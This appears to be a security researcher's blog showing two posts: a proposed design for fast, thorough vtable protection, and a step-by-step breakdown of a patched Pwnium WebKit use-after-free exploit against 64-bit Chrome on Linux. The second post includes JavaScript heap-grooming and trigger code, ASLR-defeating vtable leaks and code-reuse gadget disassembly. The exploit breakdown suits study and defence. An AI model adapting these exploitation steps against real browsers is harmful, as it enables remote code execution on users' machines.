Sunday, December 29, 2013

vtable protections: fast and thorough?

Recently, there's been a reasonable amount of activity in the vtable protection space. Most of it is compiler-based. For example, there's the GCC-based virtual table verification, aka. VTV. There are also multiple experiments based on clang / LLVM and of course MSVC's vtguard. In the non-compiler space, there's Blink's heap partitioning, enabled by PartitionAlloc.

It seems, though, that these various techniques require the user to choose between "fast" or "thorough protection". This isn't ideal. Shortly, I'll document my own idea for how to try and get both fast and thorough. But first, a recap on what we mean by fast and thorough.

Fast vtable protection

Protecting vtables typically involves inserting machine instructions around vtable pointer load or virtual calls. Going fast is simple: only insert a very small number of fast instructions (i.e. no hard-to-predict branches). This is the approach taken by vtguard. If you look at page 14 in the vtguard PDF linked above, you'll see that there's just a single cmp and a single jne (short, and never taken in normal execution) added to the hot path.

Tangentially, another task commonly undertaken when adding vtable protections to a given program is to remove as many virtual calls as possible, by annotating classes and methods with the "final" keyword and/or applying whole-program optimizations.

Thorough vtable protection

Describing what we want in a thorough vtable protection is a little more involved. We want:

  • Defeating ASLR does not defeat the vtable check. (vtguard lacks this property, whereas the GCC implementation has it.)
  • Only a valid vtable pointer can be used.
  • Furthermore, only a vtable pointer corresponding to the correct hierarchy for the call site can be used. 
  • Ideally, only a vtable pointer corresponding to the correct hierarchy level for the call site can be used.

A fast solution for thorough vtable protection?

How can we get all of the protections above and get them fast? My idea revolves around separating the problem into two pieces:

  1. Work out whether we can trust the vtable pointer or not.
  2. Validate that the class type represented by the vtable pointer is appropriate for the call site.
To trust or not to trust?

Current schemes trust the vtable pointer or not, based either on an some secret (vtguard, xor-based LLVM approach), a fixed table of valid values (GCC, some LLVM approaches) or by constraining values that might appear in the vtable position (heap partitioning).

The new scheme would be to reserve a certain portion of the address space for vtables. We know that nothing else can be mapped there, so by suitably masking any proposed vtable pointer, we know it is valid. I haven't fully thought this through for 32-bit, but look at this 64-bit variant:
  • Host vtables in the lower 4GB of address space.
  • Use the dereference of a 32-bit register to load the vtable entry. This provides masking for free and even saves a byte in the instruction sequence. It works because loading 4-bytes into a 64-bit register zero extends the result.
  • Optionally, save memory by having the compiler use 4-byte vtables.

This scheme is approximately free, maybe even performance positive in some situations. Furthermore, one possible implementation is to stop somewhere around here for a very fast protection scheme that is "ok" in thoroughness.

On the downside, you've lost the 64-bit invariant that "nothing is mapped in the bottom 4GB", but the percentage of space used is going to be small. If that bothers us, then we can use the same trick to load a 4-byte vtable pointer and then "or" it with 0x100000000 (use bts if you dare) or some other value.

Validating class type

Once you know you trust your vtable pointer, validating the class type becomes a lot simpler. Instead of messing with secrets inside the vtable, you can just store a compact representation of the class type inside the vtable, with the aim of satisfying validation needs with a single compare.

The one trick we want to play is to make it easy to validate various different positions in a class hierarchy with minimal work. To do this, we can store class details in a hierarchical format. To take a simple case, imagine that we have the following classes in the system:

A1, A1:B1, A2, A2:B1, A2:B1:C1

We encode these using one byte per hierarchy level, the basemost class being the LSB: 00000001, 00000101, 00000002, 00000102, 00010102. (Note that this will be an approximation. For example, if you have more than 256 basemost classes with virtual functions, you would need to represent the first level with 2 or more bytes.)

Finally, our "is this object of the correct type for the callsite?" check becomes a simple compare. Depending on the position in the hierarchy, we may be able to achieve the compare with no masking and therefore a single instruction.

For example, for a call site expecting an object of type A1, it's just "cmpb $1, (%eax)". That's a 4-byte sequence, which is much shorter than the 10-byte sequence noted in the vtguard PDF. For a call site expecting an object of type A2:B1, it's "cmpw $0x102, (%eax)".

Closing notes

Will it work well? Who knows. I haven't had time to implement this, nor am I likely to in the near future. Feel free to take this and run with it.

Note that this idea doesn't cover what to do with raw function pointer calls. If you want to head towards complete control flow integrity, you'll want to look at protecting those, as well as return addresses (the current canary-based stack defenses do nothing against an arbitrary read/write primitive).

Sunday, February 3, 2013

Exploiting 64-bit Linux like a boss

Back in November 2012, a Chrome Releases blog post mysteriously stated: "Congratulations to Pinkie Pie for completing challenge: 64-bit exploit".

Chrome patches and autoupdates bugs pretty fast but this is a WebKit bug and not every consumer of WebKit patches bugs particularly quickly. So I've waited a few months to release a full breakdown of the exploit. The exploit is notable because it is against 64-bit Linux. 64-bit exploits are generally harder than 32-bit exploits for various reasons, including the fact that some types of heap sprays are off the table. On top of that, Linux ASLR is generally better than Windows ASLR (although not perfect). For example, Pinkie Pie's Pwnium 2 exploit defeated Win 7 ASLR by relying on a statically-addressed system object! That sort of nonsense is generally absent from Linux ASLR.

Without any further ado, I'll paste my raw notes from the exploit deconstruction below. The number of different techniques used and steps involved is quite impressive.

The bug
A single WebKit use-after-free bug was used to gain code execution. The logic flaw in WebKit was reasonably simple: when a WebCore::HTMLVideoElement is garbage collected, the base class member WebCore::HTMLMediaElement::m_player -- a WebCore::MediaPlayer -- is freed. A different object, a WebCore::MediaSource, holds a stale pointer to the freed WebCore::MediaPlayer. The stale pointer can be prodded indirectly via Javascript methods on either the JS MediaSource object, or JS SourceBuffer objects owned by the JS MediaSource.

The exploit
The exploit is moderately complicated, with multiple steps and techniques used. Pinkie Pie states that the complexity is warranted and generally caused by limited lack of control, and therefore limited options for making progress at each stage.

The exploit steps are as follows:

1. Allocate a large number of RTCIceCandidate objects (100000) and then unreference a small subset of them.
   tempia = new Uint32Array(176/4);
   rtcs = [];
   rtcstring = 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa';
   rtcdesc = {'candidate': rtcstring, 'sdpMid': rtcstring}
   for(var i = 0; i < 100000; i++) {
       rtcs.push(new RTCIceCandidate(rtcdesc));
   }
   for(var i = 0; i < 10000; i++) rtcs[i] = null;
   for(var i = 90000; i < 100000; i++) rtcs[i] = null;

This step indirectly creates a lot of WebCore::WebCoreStringResource (v8 specific) objects and a later garbage collection will free some subset of them.
These objects are 24 bytes in size (fitting into a tcmalloc slab of 32 byte sized allocations), so it means that any future 24 byte allocation has a large probability of being placed directly before a WebCore::WebCoreStringResource object. This is significant later.
A 176-byte sized buffer is also allocated.

2. Trigger free of MediaPlayer and the 176-byte sized buffer; allocate another MediaSource object.
   buffer = ms.addSourceBuffer('video/webm; codecs="vorbis,vp8"');
   vid.parentNode.removeChild(vid);
   vid = null;
   gc();
   tempia = null;
   gc();
   ms2 = new WebKitMediaSource();

   sbl = ms2.sourceBuffers;
The WebCore::MediaPlayer is 264 bytes in size (tcmalloc bucket 257 - 288). When it is freed, many child objects are also freed. The only important one is a 168 byte sized WebKit::WebMediaPlayerClientImpl object (tcmalloc bucket 161 - 176).
Allocation of the WebCore::MediaSource (176 bytes) also subsequently allocates a WebCore::SourceBufferList child object (168 bytes). The free of the temporary 176 byte buffer (tempia) is to ensure that its freed slot is used for the WebCore::MediaSource object, leaving the freed slot that was occupied by a WebKit::WebMediaPlayerClientImpl to be occupied by a new WebCore::SourceBufferList object.

3. Call vtable of freed WebMediaPlayerClientImpl.
   buffer.timestampOffset = 42; // free
In C++, this triggers the call chain WebCore::SourceBuffer -> WebCore::MediaSource -> WebCore::MediaPlayer -> (virtual) WebKit::WebMediaPlayerClientImpl.
You’ll notice that the call chain bounces through the WebCore::MediaPlayer, which is freed. However, the only access is to the WebCore::MediaPlayer::m_private member at offset 72. delete’ing the object only interferes with the first 16 bytes (on account of tcmalloc writing two freelist pointers) and the WebCore::MediaPlayer::m_mediaPlayerClient member. The WebCore::MediaPlayer free slot isn’t otherwise meaningfully re-used by this point.

What happens next is fascinating. WebCore::MediaPlayer::sourceSetTimestampOffset dissassembles to:
   0x00007f61a0ced4c0 <+0>: mov    rdi,QWORD PTR [rdi+0x48]
   0x00007f61a0ced4c4 <+4>: mov    rax,QWORD PTR [rdi]
   0x00007f61a0ced4c7 <+7>: mov    rax,QWORD PTR [rax+0x208]
   0x00007f61a0ced4ce <+14>: jmp    rax

This loads the vtable for the WebCore::MediaPlayer::m_private member and calls the vtable function at 0x208. WebCore::MediaPlayer::m_private is supposed to be a WebKit::WebMediaPlayerClientImpl object but a WebCore::SourceBufferList was overlayed there. WebCore::SourceBufferList objects have a vtable, but a much smaller one! Offset 0x208 in this vtable hits a vtable function in a totally different vtable, specifically WebCore::RefCountedSupplement::~RefCountedSupplement, which disassembles to:
   0x00007ffd9ec51e00 <+0>: lea    rax,[rip+0x3276969]
   0x00007ffd9ec51e07 <+7>: mov    QWORD PTR [rdi],rax
   0x00007ffd9ec51e0a <+10>: jmp    0x7ffd9e5b2c80 <
WTF::fastFree(void*)>

As these opcodes execute, rdi is a this pointer for a WebCore::SourceBufferList object (which the calling code believed was a this pointer to a WebKit::WebMediaPlayerClientImpl object). As you can see, the side effects of these opcodes are:
- Trash the vtable pointer of the WebCore::SourceBufferList object.
- Do a free(this), i.e free the WebCore::SourceBufferList object.
- Return cleanly to the caller.

4. Use HTML5 WebDatabase functionality to allocate a SQLStatement as a side effect.
   transaction.executeSql('derp', [], function() {}, function() {});
   slength = sbl.length;
A WebCore::SQLStatement object is 176 bytes in size. So it is allocated into the slot just vacated by free’ing the WebCore::SourceBufferList object in step 3 above. This is the same slot that we free’d the WebKit::WebMediaPlayerClientImpl from.
There are now two Javascript objects pointing to freed objects: a direct handle to a freed WebCore::SourceBufferList (sbl) and an indirect handle to a freed WebKit::WebMediaPlayerClientImpl (buffer).
At this time, a call is made in Javascript to sbl.length. It is not required for the exploit and nothing is done with the integer result, but looking at this call under the covers is instructive.
To return the length, a 64-bit size_t is read from offset 136 into the WebCore::SourceBufferList object. Since a WebCore::SQLStatement was put on top of the freed WebCore::SourceBufferList, the actual value read is a WebCore::SQLStatement::m_statementErrorCallbackWrapper::m_callback member pointer. Leaking this value to Javascript might be useful as it is a heap address. However, Javascript lengths are 32-bit so only the lower 32-bits of the address are leaked. The entropy that’s important for ASLR on 64-bit Linux is largely in the next 8 bits above the bottom 32 bits, so the heap address cannot be usefully leaked!
Exploitation of similar overlap situations would not be a problem on systems with 32-bit pointers.

5. Abuse overlapping fields in SourceBufferList vs. SQLStatement.
   sb = sbl[0xa8/8];
Next, the Javascript array index operator is used. At this time, the Javascript handle to the WebCore::SourceBufferList is actually backed by a WebCore::SQLStatement object at the C++ level. The WebCore::SourceBufferList::m_list member is a WTF::Vector and that starts with two important 64-bit fields: a length and a pointer to the underlying buffer.
As covered above, the length now maps to a pointer value. A pointer value, when treated as an integer, will be very large, effectively sizing the vector massively. And the vector’s underlying buffer pointer now maps to the member SQLStatement::m_statementErrorCallbackWrapper::m_scriptExecutionContext.

Therefore, the Javascript array operator on JS SourceBufferList will return a JS SourceBuffer object which is backed in C++ by a pointer pulled from somewhere in a C++ WebCore::ScriptExecutionContent object, depending on the array index.

The exploit uses array index 21, which corresponds to offset 168, or WebCore::ScriptExecutionContext::m_pendingExceptions. This is a pointer to a WTF::Vector. So, there is now a Javascript handle to a JS SourceBuffer object which is really backed by a WTF::Vector.

6. Read vtable value as a Javascript number.
   converterF64[0] = sb.timestampOffset;
In C++, the timestampOffset property is read from a 64-bit double at offset 32 of the WebCore::SourceBuffer object. The WebCore::SourceBuffer object is currently backed by a WTF::Vector object, which is 24 bytes in size and lives in a 32 byte tcmalloc slot. Therefore, a read at offset 32 will in fact read from the beginning of the next tcmalloc slot. Looking back to step 1, it was arranged to be likely that the adjacent 32 byte slot will contain a WebCore::WebCoreStringResource object. Therefore, the WebCore::WebCoreStringResource vtable is read and returned to Javascript as a number. Javascript numbers are 64-bit doubles so there are no truncation issues like those discussed with reading an integer length above in step 4.

That’s a lot of effort, but finally the exploit has leaked a vtable value to Javascript. For a given build of Chrome, it is now easy to calculate the exact address of all opcodes, functions, etc. in the binary.

7. Re-trigger use-after-free and back freed object with array buffer.
   buffer2 = ms3.addSourceBuffer('video/webm; codecs="vorbis,vp8"');
   vid2.parentNode.removeChild(vid2);
   vid2 = null;
   gc();
   var ia = new Uint32Array(168/4);
   rtc2 = new webkitRTCPeerConnection({'iceServers': []});
This time, the freed WebKit::WebMediaPlayerClientImpl is replaced with a 168 raw byte buffer that can be read and written through Javascript. This is now a useful primitive because ASLR was defeated and a useful vtable pointer value can be put in the first 8 bytes of the raw byte buffer.
A WebCore::RTCPeerConnection is also allocated (264 bytes) to occupy the slot for the freed WebCore::MediaPlayer. This protects the freed WebCore::MediaPlayer from corruption. Significantly, it makes sure nothing overwrites the WebCore::MediaPlayer::m_private pointer. This pointer is needed intact. It is at offset 72 and WebCore::RTCPeerConnection does not overwrite that field during construction.

8. Leak address of a heap buffer under Javascript control.
   add64(converterI32, 0, converterI32, 0, -prepdata['found_vt']);
   add64(ia, 0, converterI32, 0, prepdata['mov_rdx_112_rdi_pp']);
   add64(ia, 0, ia, 0, -0x1e8);
   var ib8 = new Uint8Array(0x10000);
   var ib = new Uint32Array(ib8.buffer);
   buffer2.append(ib8);
   var ibAddr = [ia[112/4], ia[112/4 + 1]];
Using knowledge of the binary layout, a vtable value is chosen that will result in the WebCore::MediaPlayer::sourceAppend vtable call site calling the function v8::internal::HStoreNamedField::SetSideEffectDominator. An appropriate function name. It disassembles to:
   0x00007f153efd7340 <+0>: mov    QWORD PTR [rdi+0x70],rdx
   0x00007f153efd7344 <+4>: ret    
As can be seen, the value of rdx (the 2nd non-this function parameter) is written to offset 112 of this. this is backed by a raw buffer pointer for the ia Javascript Uint32Array and rdx in the context of WebCore::MediaPlayer::sourceAppend is a raw buffer pointer for the ib Javscript Uint32Array.
Therefore, the address of a heap buffer under the control of Javascript has been leaked to Javascript.

9. Proceed as normal.
The exploit now has control over a vtable pointer. It can point the vtable pointer at a heap buffer where the contents can be controlled arbitrarily. The exploit is free to start ROP chains etc.
As it happens, the exploit payload is expressed in terms of valid full function calls. This is achieved by bouncing into a useful sequence of opcodes in a template base::internal::Invoker<3>:
   0x00007f153fc71d40 <+0>: mov    rax,rdi
   0x00007f153fc71d43 <+3>: lea    rcx,[rdi+0x30]
   0x00007f153fc71d47 <+7>: mov    rsi,QWORD PTR [rdi+0x20]
   0x00007f153fc71d4b <+11>: mov    rdx,QWORD PTR [rdi+0x28]
   0x00007f153fc71d4f <+15>: mov    rax,QWORD PTR [rax+0x10]
   0x00007f153fc71d53 <+19>: mov    rdi,QWORD PTR [rdi+0x18]
   0x00007f153fc71d57 <+23>: jmp    rax
As can be seen, these opcodes pull a jump target, a new this pointer and two function arguments from the current this pointer. A very useful construct.